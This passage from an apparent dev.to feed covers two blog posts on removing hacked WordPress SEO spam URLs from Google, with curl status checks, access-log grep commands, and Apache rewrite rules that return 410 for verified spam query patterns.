&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="s2"&gt;"https://example.com/?a=839472938"&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="s2"&gt;"https://example.com/?q=739284729"&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="s2"&gt;"https://example.com/?p=23932"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Check whether they return:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;200&lt;/li&gt;
&lt;li&gt;301&lt;/li&gt;
&lt;li&gt;302&lt;/li&gt;
&lt;li&gt;404&lt;/li&gt;
&lt;li&gt;410&lt;/li&gt;
&lt;li&gt;500&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A hacked URL returning 200 is especially important because Google may treat it as a real page.&lt;/p&gt;

&lt;p&gt;Also inspect the body:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://example.com/?a=839472938"&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; 40
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Compare normal and suspicious requests.&lt;/p&gt;

&lt;h2&gt;
  
  
  Check access logs
&lt;/h2&gt;

&lt;p&gt;Useful questions include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Is Googlebot requesting the URLs?&lt;/li&gt;
&lt;li&gt;Are other bots requesting the same patterns?&lt;/li&gt;
&lt;li&gt;How often are they requested?&lt;/li&gt;
&lt;li&gt;Do they reach &lt;code&gt;index.php&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;Are they producing expensive application responses?&lt;/li&gt;
&lt;li&gt;Did the requests continue after malware removal?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example Apache log searches:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'\?(a|q|p)=[0-9]+'&lt;/span&gt; access.log | &lt;span class="nb"&gt;head&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Count matching requests:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-Ec&lt;/span&gt; &lt;span class="s1"&gt;'\?(a|q|p)=[0-9]+'&lt;/span&gt; access.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;View the most common URLs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'\?(a|q|p)=[0-9]+'&lt;/span&gt; access.log &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $7}'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-nr&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; 30
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Log formats differ, so the URL may not always be in field seven.&lt;/p&gt;

&lt;h2&gt;
  
  
  Build the narrowest possible rule
&lt;/h2&gt;

&lt;p&gt;Suppose the investigation confirms:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;a&lt;/code&gt; and &lt;code&gt;q&lt;/code&gt; are not used legitimately&lt;/li&gt;
&lt;li&gt;Their spam values always contain at least eight digits&lt;/li&gt;
&lt;li&gt;Requests should never return content again&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A narrow Apache rule could be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nl"&gt;IfModule&lt;/span&gt;&lt;span class="sr"&gt; mod_rewrite.c&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;&lt;span class="nc"&gt;RewriteEngine&lt;/span&gt; &lt;span class="ss"&gt;On&lt;/span&gt;

&lt;span class="nc"&gt;RewriteCond&lt;/span&gt; %{QUERY_STRING} (^|&amp;amp;)(?:a|q)=[0-9]{8,}(&amp;amp;|$) [NC]
&lt;span class="nc"&gt;RewriteRule&lt;/span&gt; ^ - [G,L]

&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nl"&gt;IfModule&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This returns 410 Gone.&lt;/p&gt;

&lt;p&gt;It does not block:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;?s=wordpress
?p=123
?q=shoes
?a=42
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Whether those exclusions are correct depends on the actual website.&lt;/p&gt;

&lt;h2&gt;
  
  
  Handle a confirmed &lt;code&gt;?p=&lt;/code&gt; range separately
&lt;/h2&gt;

&lt;p&gt;If a numerical range has been verified as malicious and contains no legitimate WordPress records:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="c"&gt;# Example range only: p=23000 through p=24999&lt;/span&gt;
&lt;span class="nc"&gt;RewriteCond&lt;/span&gt; %{QUERY_STRING} (^|&amp;amp;)p=2[3-4][0-9]{3}(&amp;amp;|$) [NC]
&lt;span class="nc"&gt;RewriteRule&lt;/span&gt; ^ - [G,L]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is safer than blocking every post ID, but it still needs testing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Test both malicious and legitimate cases
&lt;/h2&gt;

&lt;p&gt;Spam tests:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="s2"&gt;"https://example.com/?a=12345678"&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="s2"&gt;"https://example.com/?q=987654321"&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="s2"&gt;"https://example.com/?p=23932"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Legitimate tests:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="s2"&gt;"https://example.com/?s=security"&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="s2"&gt;"https://example.com/?p=123"&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="s2"&gt;"https://example.com/"&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="s2"&gt;"https://example.com/wp-login.php"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A successful spam response should look like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HTTP/2 410
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The legitimate URLs should keep their expected behaviour.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why server-level handling matters
&lt;/h2&gt;

&lt;p&gt;If WordPress handles every request, even a missing page can require:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PHP startup&lt;/li&gt;
&lt;li&gt;WordPress bootstrap&lt;/li&gt;
&lt;li&gt;Plugin loading&lt;/li&gt;
&lt;li&gt;Database queries&lt;/li&gt;
&lt;li&gt;Theme rendering&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A narrow Apache rule can stop confirmed spam requests earlier.&lt;/p&gt;

&lt;p&gt;That reduces unnecessary application work while also providing a clear status to search engines.&lt;/p&gt;

&lt;h2&gt;
  
  
  Do not treat query patterns as malware signatures
&lt;/h2&gt;

&lt;p&gt;A URL such as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/?q=12345678
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;is not automatically proof of malware.&lt;/p&gt;

&lt;p&gt;Context matters.&lt;/p&gt;

&lt;p&gt;The evidence should include some combination of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Unwanted content&lt;/li&gt;
&lt;li&gt;Unexpected HTTP 200 responses&lt;/li&gt;
&lt;li&gt;Search Console impressions&lt;/li&gt;
&lt;li&gt;Large-scale repeated patterns&lt;/li&gt;
&lt;li&gt;Malicious files or database content&lt;/li&gt;
&lt;li&gt;Access-log activity&lt;/li&gt;
&lt;li&gt;Unknown sitemap entries&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The rule should be the result of the investigation, not the beginning of it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final checklist
&lt;/h2&gt;

&lt;p&gt;Before blocking query-string spam:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Export representative URLs&lt;/li&gt;
&lt;li&gt;Group them by parameter and structure&lt;/li&gt;
&lt;li&gt;Confirm whether the parameter is used legitimately&lt;/li&gt;
&lt;li&gt;Check database IDs for &lt;code&gt;?p=&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Test current HTTP responses&lt;/li&gt;
&lt;li&gt;Inspect server logs&lt;/li&gt;
&lt;li&gt;Create the narrowest rule possible&lt;/li&gt;
&lt;li&gt;Test legitimate pages after deployment&lt;/li&gt;
&lt;li&gt;Monitor 410 responses&lt;/li&gt;
&lt;li&gt;Keep the patterns out of the canonical sitemap&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The larger lesson is simple:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Do not block thousands of URLs individually when a small number of verified patterns explains them.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The full cleanup—including malware removal, Google Search Console requests, 410 handling, and sitemap recovery—is available in my &lt;a href="https://www.mdpabel.com/case-studies/remove-spam-urls-from-google/" rel="noopener noreferrer"&gt;complete WordPress SEO spam case study&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>wordpress</category>
      <category>security</category>
      <category>python</category>
      <category>apache</category>
    </item>
    <item>
      <title>Why Cleaning WordPress Malware Does Not Remove Spam Pages From Google</title>
      <dc:creator>MD Pabel</dc:creator>
      <pubDate>Mon, 20 Jul 2026 08:15:13 +0000</pubDate>
      <link>https://dev.to/md_pabel_fe07e07449db7326/why-cleaning-wordpress-malware-does-not-remove-spam-pages-from-google-5cd2</link>
      <guid>https://dev.to/md_pabel_fe07e07449db7326/why-cleaning-wordpress-malware-does-not-remove-spam-pages-from-google-5cd2</guid>
      <description>&lt;p&gt;A website can be malware-free today while Google continues showing hacked pages for weeks or months.&lt;/p&gt;

&lt;p&gt;This confuses many website owners.&lt;/p&gt;

&lt;p&gt;They clean the WordPress installation, run another malware scan, open the homepage, and see that everything looks normal.&lt;/p&gt;

&lt;p&gt;Then they search Google and find:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Japanese product titles&lt;/li&gt;
&lt;li&gt;Gambling pages&lt;/li&gt;
&lt;li&gt;Pharmaceutical keywords&lt;/li&gt;
&lt;li&gt;URLs they never created&lt;/li&gt;
&lt;li&gt;Content that is not visible in WordPress&lt;/li&gt;
&lt;li&gt;Random parameters such as &lt;code&gt;?p=23932&lt;/code&gt; or &lt;code&gt;?q=98237492&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The natural reaction is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If the malware is gone, why is Google still showing the spam?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Because malware cleanup and Google index cleanup are two different processes.&lt;/p&gt;

&lt;p&gt;I recently handled a case involving approximately 242,000 unwanted URL variations. The complete investigation is available in my &lt;a href="https://www.mdpabel.com/case-studies/remove-spam-urls-from-google/" rel="noopener noreferrer"&gt;WordPress SEO spam recovery case study&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Here is the most important lesson from that cleanup.&lt;/p&gt;

&lt;h2&gt;
  
  
  Problem one: the hacked website
&lt;/h2&gt;

&lt;p&gt;The first problem exists on the server.&lt;/p&gt;

&lt;p&gt;The attacker may have added:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Malicious PHP files&lt;/li&gt;
&lt;li&gt;Backdoors&lt;/li&gt;
&lt;li&gt;Fake plugins&lt;/li&gt;
&lt;li&gt;Hidden administrator users&lt;/li&gt;
&lt;li&gt;Database injections&lt;/li&gt;
&lt;li&gt;Modified &lt;code&gt;.htaccess&lt;/code&gt; rules&lt;/li&gt;
&lt;li&gt;Malicious cron events&lt;/li&gt;
&lt;li&gt;PHP files inside the uploads directory&lt;/li&gt;
&lt;li&gt;Scripts that fetch spam from an external server&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is the active security incident.&lt;/p&gt;

&lt;p&gt;Until it is fixed, the website may continue producing new spam URLs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Problem two: Google already knows the URLs
&lt;/h2&gt;

&lt;p&gt;The second problem exists in Google’s crawl and index systems.&lt;/p&gt;

&lt;p&gt;Google may have already discovered the hacked URLs through:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Internal links created by malware&lt;/li&gt;
&lt;li&gt;Malicious XML sitemaps&lt;/li&gt;
&lt;li&gt;External spam links&lt;/li&gt;
&lt;li&gt;Generated archive pages&lt;/li&gt;
&lt;li&gt;Search-engine cloaking&lt;/li&gt;
&lt;li&gt;Previous crawls of the infected site&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cleaning the malicious code does not erase Google’s memory of those URLs.&lt;/p&gt;

&lt;p&gt;Google needs to revisit them and receive an appropriate signal.&lt;/p&gt;

&lt;p&gt;That signal may be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;404 Not Found&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;410 Gone&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;A legitimate redirect to a relevant replacement&lt;/li&gt;
&lt;li&gt;A valid &lt;code&gt;noindex&lt;/code&gt; response in cases where the page still exists&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For completely fake hacked URLs, I normally prefer 404 or 410 rather than redirecting everything to the homepage.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the website can look normal
&lt;/h2&gt;

&lt;p&gt;SEO spam often does not affect every visitor equally.&lt;/p&gt;

&lt;p&gt;Malicious code may change its response based on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;User agent&lt;/li&gt;
&lt;li&gt;Referrer&lt;/li&gt;
&lt;li&gt;Cookie&lt;/li&gt;
&lt;li&gt;IP address&lt;/li&gt;
&lt;li&gt;Device&lt;/li&gt;
&lt;li&gt;Search-engine crawler&lt;/li&gt;
&lt;li&gt;Requested URL pattern&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example, the owner may open:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://example.com/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and see the real homepage.&lt;/p&gt;

&lt;p&gt;Googlebot may request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://example.com/jp/fake-product/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and receive a generated product page.&lt;/p&gt;

&lt;p&gt;The owner may never see that route inside WordPress admin because the page does not exist as a normal post.&lt;/p&gt;

&lt;p&gt;It may be dynamically generated by PHP.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why fake product pages appear
&lt;/h2&gt;

&lt;p&gt;Japanese keyword hacks commonly promote products through compromised domains.&lt;/p&gt;

&lt;p&gt;A hacked result may contain:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Japanese product names&lt;/li&gt;
&lt;li&gt;Prices&lt;/li&gt;
&lt;li&gt;Review text&lt;/li&gt;
&lt;li&gt;Shopping descriptions&lt;/li&gt;
&lt;li&gt;Product structured data&lt;/li&gt;
&lt;li&gt;Unrelated images&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The website may not sell any of those products.&lt;/p&gt;

&lt;p&gt;The attacker is borrowing the domain’s reputation and crawl history.&lt;/p&gt;

&lt;p&gt;This is why searching only the WordPress Posts screen is not a complete investigation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1: stop new spam from being created
&lt;/h2&gt;

&lt;p&gt;I always begin with the server and application.&lt;/p&gt;

&lt;p&gt;The investigation normally includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Comparing WordPress core files with clean originals&lt;/li&gt;
&lt;li&gt;Checking plugins, themes, and must-use plugins&lt;/li&gt;
&lt;li&gt;Inspecting root and nested &lt;code&gt;.htaccess&lt;/code&gt; files&lt;/li&gt;
&lt;li&gt;Searching the database&lt;/li&gt;
&lt;li&gt;Reviewing WordPress administrators&lt;/li&gt;
&lt;li&gt;Checking scheduled tasks&lt;/li&gt;
&lt;li&gt;Examining access logs&lt;/li&gt;
&lt;li&gt;Rotating compromised credentials&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The site should not be considered clean simply because one scanner reports no malware.&lt;/p&gt;

&lt;p&gt;Scanners are helpful, but manual investigation is often needed to find persistence mechanisms.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: collect examples of the hacked URLs
&lt;/h2&gt;

&lt;p&gt;After stopping the infection, I collect URLs from multiple sources.&lt;/p&gt;

&lt;h3&gt;
  
  
  Google searches
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;site:example.com
site:example.com inurl:jp
site:example.com filetype:html
site:example.com casino
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These searches do not provide an exact index count, but they can reveal visible patterns.&lt;/p&gt;

&lt;h3&gt;
  
  
  Google Search Console
&lt;/h3&gt;

&lt;p&gt;Useful reports include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Indexing → Pages&lt;/li&gt;
&lt;li&gt;Performance → Search results&lt;/li&gt;
&lt;li&gt;Security Issues&lt;/li&gt;
&lt;li&gt;Manual Actions&lt;/li&gt;
&lt;li&gt;Sitemaps&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Server logs
&lt;/h3&gt;

&lt;p&gt;Logs can reveal URLs that bots continue requesting even when they no longer appear prominently in Search Console.&lt;/p&gt;

&lt;h3&gt;
  
  
  Search Analytics API
&lt;/h3&gt;

&lt;p&gt;The API can help export pages and queries that received impressions.&lt;/p&gt;

&lt;p&gt;It is useful performance data, but it should not be treated as a complete list of every URL Google knows.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: look for patterns, not individual URLs
&lt;/h2&gt;

&lt;p&gt;The incident I investigated included patterns like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/?a=839472938
/?q=739284729
/?p=23932
/pages/random-product.html
/jp/fake-category/
/products/23860
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Removing these one by one would not scale.&lt;/p&gt;

&lt;p&gt;Instead, I grouped them by:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Directory&lt;/li&gt;
&lt;li&gt;Query parameter&lt;/li&gt;
&lt;li&gt;Numerical range&lt;/li&gt;
&lt;li&gt;File extension&lt;/li&gt;
&lt;li&gt;Spam keyword&lt;/li&gt;
&lt;li&gt;URL structure&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A few repeatable patterns explained a large part of the 242,000 URL variations.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: return a real removal status
&lt;/h2&gt;

&lt;p&gt;Once a pattern was confirmed to be malicious, the server returned 410 Gone before WordPress loaded.&lt;/p&gt;

&lt;p&gt;A simplified Apache example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="nc"&gt;ErrorDocument&lt;/span&gt; 410 "&amp;lt;h1&amp;gt;410 Gone&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;This spam &lt;span class="ss"&gt;URL&lt;/span&gt; has been permanently removed.&amp;lt;/p&amp;gt;"

&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nl"&gt;IfModule&lt;/span&gt;&lt;span class="sr"&gt; mod_rewrite.c&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;&lt;span class="nc"&gt;RewriteEngine&lt;/span&gt; &lt;span class="ss"&gt;On&lt;/span&gt;

&lt;span class="nc"&gt;RewriteCond&lt;/span&gt; %{QUERY_STRING} (^|&amp;amp;)(?:a|q)=[0-9]{5,}(&amp;amp;|$) [NC]
&lt;span class="nc"&gt;RewriteRule&lt;/span&gt; ^ - [G,L]

&lt;span class="nc"&gt;RewriteRule&lt;/span&gt; ^(?:pages|jp)(?:/|$) - [G,L,NC]
&lt;span class="nc"&gt;RewriteRule&lt;/span&gt; ^products/[0-9]+(?:/|$) - [G,L,NC]

&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nl"&gt;IfModule&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These rules are examples, not universal signatures.&lt;/p&gt;

&lt;p&gt;A rule must be based on patterns verified on the affected site.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why I did not redirect everything to the homepage
&lt;/h2&gt;

&lt;p&gt;A fake Japanese product page does not have a meaningful replacement on the website.&lt;/p&gt;

&lt;p&gt;Redirecting it to the homepage would communicate that the unrelated resource moved there.&lt;/p&gt;

&lt;p&gt;It may also result in soft-404 behaviour.&lt;/p&gt;

&lt;p&gt;My general decision process is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Relevant replacement exists:&lt;/strong&gt; use 301&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Resource never existed or no longer exists:&lt;/strong&gt; use 404&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Confirmed malicious resource deliberately removed:&lt;/strong&gt; 410 can be appropriate&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Page still exists but should not appear in search:&lt;/strong&gt; consider noindex&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The response should match what actually happened.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 5: use Search Console removals carefully
&lt;/h2&gt;

&lt;p&gt;Google Search Console can temporarily hide urgent results.&lt;/p&gt;

&lt;p&gt;For a single URL, submit a specific request.&lt;/p&gt;

&lt;p&gt;For an entirely malicious directory, use:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Remove all URLs with this prefix&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Examples:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://example.com/jp/
https://example.com/pages/
https://example.com/products/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Do not submit a broad prefix if it includes legitimate pages.&lt;/p&gt;

&lt;p&gt;Search Console removal is temporary. It does not replace the server response.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 6: submit a clean sitemap
&lt;/h2&gt;

&lt;p&gt;After the cleanup, the normal sitemap should contain only URLs that should appear in Google.&lt;/p&gt;

&lt;p&gt;That generally means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Canonical URLs&lt;/li&gt;
&lt;li&gt;HTTP 200 pages&lt;/li&gt;
&lt;li&gt;Real content&lt;/li&gt;
&lt;li&gt;Preferred HTTPS versions&lt;/li&gt;
&lt;li&gt;Preferred hostname versions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It should not contain:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Hacked URLs&lt;/li&gt;
&lt;li&gt;Redirects&lt;/li&gt;
&lt;li&gt;404 pages&lt;/li&gt;
&lt;li&gt;410 pages&lt;/li&gt;
&lt;li&gt;Internal search pages&lt;/li&gt;
&lt;li&gt;Random query parameters&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The clean sitemap helps Google focus on the legitimate website structure.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 7: allow Google to recrawl the spam URLs
&lt;/h2&gt;

&lt;p&gt;It can be tempting to block the hacked paths in &lt;code&gt;robots.txt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That can be counterproductive if Google needs to see their 404 or 410 response.&lt;/p&gt;

&lt;p&gt;Googlebot should be able to request the URL and confirm that it is gone.&lt;/p&gt;

&lt;p&gt;The spam URLs should be removed from the legitimate sitemap, but not hidden from the removal response.&lt;/p&gt;

&lt;h2&gt;
  
  
  How long does recovery take?
&lt;/h2&gt;

&lt;p&gt;The malware cleanup and the Google cleanup do not follow the same timeline.&lt;/p&gt;

&lt;p&gt;The security work may be completed quickly.&lt;/p&gt;

&lt;p&gt;Google still needs to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Revisit the affected URLs&lt;/li&gt;
&lt;li&gt;Observe the new status&lt;/li&gt;
&lt;li&gt;Process the changes&lt;/li&gt;
&lt;li&gt;Update search results&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The time varies based on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Number of URLs&lt;/li&gt;
&lt;li&gt;Crawl frequency&lt;/li&gt;
&lt;li&gt;Internal and external links&lt;/li&gt;
&lt;li&gt;Sitemap history&lt;/li&gt;
&lt;li&gt;Server stability&lt;/li&gt;
&lt;li&gt;Whether new spam continues appearing&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is why I avoid promising that hundreds of thousands of URLs will disappear immediately.&lt;/p&gt;

&lt;h2&gt;
  
  
  Signs that the recovery is working
&lt;/h2&gt;

&lt;p&gt;I monitor:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Declining spam-query impressions&lt;/li&gt;
&lt;li&gt;More hacked URLs reporting 404 or 410&lt;/li&gt;
&lt;li&gt;Correct titles returning&lt;/li&gt;
&lt;li&gt;Legitimate pages recovering visibility&lt;/li&gt;
&lt;li&gt;Googlebot requesting the old spam paths&lt;/li&gt;
&lt;li&gt;No new spam patterns&lt;/li&gt;
&lt;li&gt;No returning malicious files&lt;/li&gt;
&lt;li&gt;No new unauthorized users&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;An increase in reported 404 or 410 URLs is not always bad after a hack.&lt;/p&gt;

&lt;p&gt;It may show that Google is revisiting the malicious URLs and receiving the intended response.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final takeaway
&lt;/h2&gt;

&lt;p&gt;A successful WordPress SEO spam cleanup has two parts:&lt;/p&gt;

&lt;h3&gt;
  
  
  Security recovery
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Remove malware&lt;/li&gt;
&lt;li&gt;Remove backdoors&lt;/li&gt;
&lt;li&gt;Close the entry point&lt;/li&gt;
&lt;li&gt;Secure accounts&lt;/li&gt;
&lt;li&gt;Stop new URLs&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Search recovery
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Collect unwanted URLs&lt;/li&gt;
&lt;li&gt;Identify patterns&lt;/li&gt;
&lt;li&gt;Return 404 or 410&lt;/li&gt;
&lt;li&gt;Use temporary removals when needed&lt;/li&gt;
&lt;li&gt;Submit a clean sitemap&lt;/li&gt;
&lt;li&gt;Monitor recrawling&lt;/li&gt;
